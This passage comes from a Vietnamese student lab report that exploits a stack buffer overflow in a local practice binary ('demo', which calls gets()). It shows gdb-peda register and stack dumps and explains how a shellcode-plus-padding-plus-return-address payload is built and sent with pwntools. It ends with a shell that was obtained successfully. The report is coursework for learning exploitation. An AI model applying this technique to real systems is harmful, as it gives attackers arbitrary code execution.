0000 | 0x7fffffff260 --> 0x0
0008 | 0x7fffffff268 --> 0x401050 (<_start>:      xor     ebp, ebp)
0016 | 0x7fffffff270 --> 0x7fffffff370 --> 0x1
0024 | 0x7fffffff278 --> 0x0
0032 | 0x7fffffff280 --> 0x0
0040 | 0x7fffffff288 --> 0x7ffff7de9083 (<__libc_start_main+243>:      mov     edi, eax)
0048 | 0x7fffffff290 --> 0x7ffff7ffc620 --> 0x50fa7000000000
0056 | 0x7fffffff298 --> 0x7fffffff378 --> 0x7fffffff61a ("/home/wanthinnn/Documents/NT521/Lab_3/Lab3-resource/demo")
```

- Ta tiến hành nhập thử 123456 vào chương trình và thấy nó lưu ở địa chỉ 0x7fffffff260, đây sẽ là địa chỉ bắt đầu lưu chuỗi:

```
[-----]
Legend: code, data, rodata, value
Breakpoint 1, 0x0000000040115e in main ()
gdb-peda$ n
123456
[-----]
Registers
RAX: 0x7fffffff260 --> 0x363534333231 ('123456')
RBX: 0x401170 (<__libc_csu_init>: push r15)
RCX: 0x7ffff7fb1980 --> 0xfbad2288
RDX: 0x0
RSI: 0x35343332 ('12345')
RDI: 0x7ffff7fb37f0 --> 0x0
RBP: 0x7fffffff280 --> 0x0
RSP: 0x7fffffff260 --> 0x363534333231 ('123456')
RIP: 0x401163 (<main+49>: mov eax,0x0)
R8 : 0x7fffffff260 --> 0x363534333231 ('123456')
R9 : 0x0
R10: 0xffffffffffff3b2
R11: 0x246
R12: 0x401050 (<_start>: xor ebp,ebp)
R13: 0x7fffffff370 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-----]
Code
0x401156 <main+36>: mov rdi, rax
0x401159 <main+39>: mov eax, 0x0
0x40115e <main+44>: call 0x401040 <gets@plt>
=> 0x401163 <main+49>: mov eax, 0x0
0x401168 <main+54>: leave
0x401169 <main+55>: ret
0x40116a: nop WORD PTR [rax+rax*1+0x0]
0x401170 <__libc_csu_init>: push r15
[-----]
Stack
0000| 0x7fffffff260 --> 0x363534333231 ('123456')
0008| 0x7fffffff268 --> 0x401050 (<_start>: xor ebp,ebp)
0016| 0x7fffffff270 --> 0x7fffffff370 --> 0x1
0024| 0x7fffffff278 --> 0x0
0032| 0x7fffffff280 --> 0x0
0040| 0x7fffffff288 --> 0x7ffff7de9083 (<__libc_start_main+243>: mov edi, eax)
0048| 0x7fffffff290 --> 0x7ffff7fc620 --> 0x50fa700000000
0056| 0x7fffffff298 --> 0x7fffffff378 --> 0x7fffffff61a ("/home/wanthinn/Documents/NT521/Lab_3/Lab3-resource/demo")
[-----]
Legend: code, data, rodata, value
0x00000000401163 in main ()
```

- Tiếp tục, ta tìm địa chỉ trả về của chương trình, như hình bên dưới, ta thấy rằng địa chỉ trả về sẽ được lưu trong 0x7fffffff288:

```
gdb-peda$ n
[-----]
Registers
RAX: 0x0
RBX: 0x401170 (<__libc_csu_init>: push r15)
RCX: 0x7ffff7fb1980 --> 0xfbad2288
RDX: 0x0
RSI: 0x35343332 ('12345')
RDI: 0x7ffff7fb37f0 --> 0x0
RBP: 0x0
RSP: 0x7fffffff288 --> 0x7ffff7de9083 (<__libc_start_main+243>: mov edi, eax)
RIP: 0x401169 (<main+55>: ret)
R8 : 0x7fffffff260 --> 0x363534333231 ('123456')
R9 : 0x0
R10: 0xffffffffffff3b2
R11: 0x246
R12: 0x401050 (<_start>: xor ebp,ebp)
R13: 0x7fffffff370 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-----]
Code
0x40115e <main+44>: call 0x401040 <gets@plt>
0x401163 <main+49>: mov eax, 0x0
0x401168 <main+54>: leave
=> 0x401169 <main+55>: ret
0x40116a: nop WORD PTR [rax+rax*1+0x0]
0x401170 <__libc_csu_init>: push r15
0x401172 <__libc_csu_init+2>: lea r15, [rip+0x2c97] # 0x403e10
0x401179 <__libc_csu_init+9>: push r14
[-----]
Stack
0000| 0x7fffffff288 --> 0x7ffff7de9083 (<__libc_start_main+243>: mov edi, eax)
0008| 0x7fffffff290 --> 0x7ffff7fc620 --> 0x50fa700000000
0016| 0x7fffffff298 --> 0x7fffffff378 --> 0x7fffffff61a ("/home/wanthinn/Documents/NT521/Lab_3/Lab3-resource/demo")
0024| 0x7fffffff2a0 --> 0x100000000
0032| 0x7fffffff2a8 --> 0x401132 (<main>: push rbp)
0040| 0x7fffffff2b0 --> 0x401170 (<__libc_csu_init>: push r15)
0048| 0x7fffffff2b8 --> 0x3bff837a0797519e
0056| 0x7fffffff2c0 --> 0x401050 (<_start>: xor ebp,ebp)
[-----]
Legend: code, data, rodata, value
0x00000000401169 in main ()
gdb-peda$ |
```


- Giải thích:**+ Tạo payload:**

- **Shellcode** là mã nhị phân thực hiện mở một shell tương tác (/bin/sh).
- **Padding** (16 byte ký tự A) dùng để lấp đầy khoảng trống trong bộ đệm giữa shellcode và địa chỉ trả về (do ta chỉ chèn được 40 byte, mà mã shellcode đã chiếm 24 byte rồi)
- Payload ban đầu gồm: *Shellcode* + *Padding*.

+ Tạo tiến trình chương trình:

- Chương trình mục tiêu (./demo) được khởi động bằng lệnh process().
- Kết nối với chương trình cho phép gửi/nhận dữ liệu qua tiến trình.

+ Nhận địa chỉ buffer:

- Chương trình in ra địa chỉ của vùng nhớ mà buffer sẽ được lưu trữ (bắt đầu bằng chuỗi "DEBUG: 0x...").
- Đoạn mã đọc địa chỉ này từ chương trình và lưu nó dưới dạng chuỗi (hexadecimal).

+ Thêm địa chỉ trả về vào payload:

- Địa chỉ buffer được chuyển thành số nguyên và định dạng lại thành 64-bit little-endian.
- Địa chỉ này được ghép vào cuối payload.
- Mục tiêu: Khi chương trình thực thi, nó sẽ nhảy đến buffer chứa shellcode thay vì trở về vị trí cũ.

+ Gửi payload:

- Payload hoàn chỉnh được gửi đến chương trình qua lệnh sendline().
- Lúc này, payload sẽ tràn vào bộ đệm, ghi đè địa chỉ trả về, khiến luồng thực thi nhảy đến shellcode.

+ **Kết quả:** Khi payload được thực thi, shellcode khởi động một shell tương tác. Người dùng có thể nhập lệnh trực tiếp trong shell này để điều khiển hệ thống mục tiêu.

- Tiến hành khai thác lỗ hổng:

```
task_5.py 3 X
wanthinnn@ThinnnUbuntu: ~/Documents/NT521/Lab_3/Lab3-resource$ nano task_5.py
wanthinnn@ThinnnUbuntu:~/Documents/NT521/Lab_3/Lab3-resource$ python3 task_5.py
[+] Starting local process './demo': pid 6231
task_5.py:4: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntool
s.com/#bytes
    exploit.recvuntil("DEBUG: 0x")
b'7fffffff2e0'
[*] Switching to interactive mode

$ ls
app1-no-canary  demo                shellcode_nhom6.asm  task_4.c
app2-canary     peda-session-app1-no-canary.txt  shellcode_nhom6.o   task_5.py
app2-no-canary  peda-session-app2-canary.txt    task_1.py
code.o          peda-session-demo.txt          task_2.py
code.s          shellcode_nhom6               task_4

$ cd
$ pwd
/home/wanthinnn/Documents/NT521/Lab_3/Lab3-resource
$ cd /
$ ls
bin      dev      lib      libx32    mnt      root     snap     sys      var
boot    etc      lib32    lost+found  opt      run      srv      tmp
cdrom   home     lib64    media     proc     sbin     swapfile  usr

$
```

- Như hình trên, ta có thể thấy lỗ hổng đã được khai thác thành công, ta đã điều khiển được luồng thực thi của chương trình demo

--HẾT--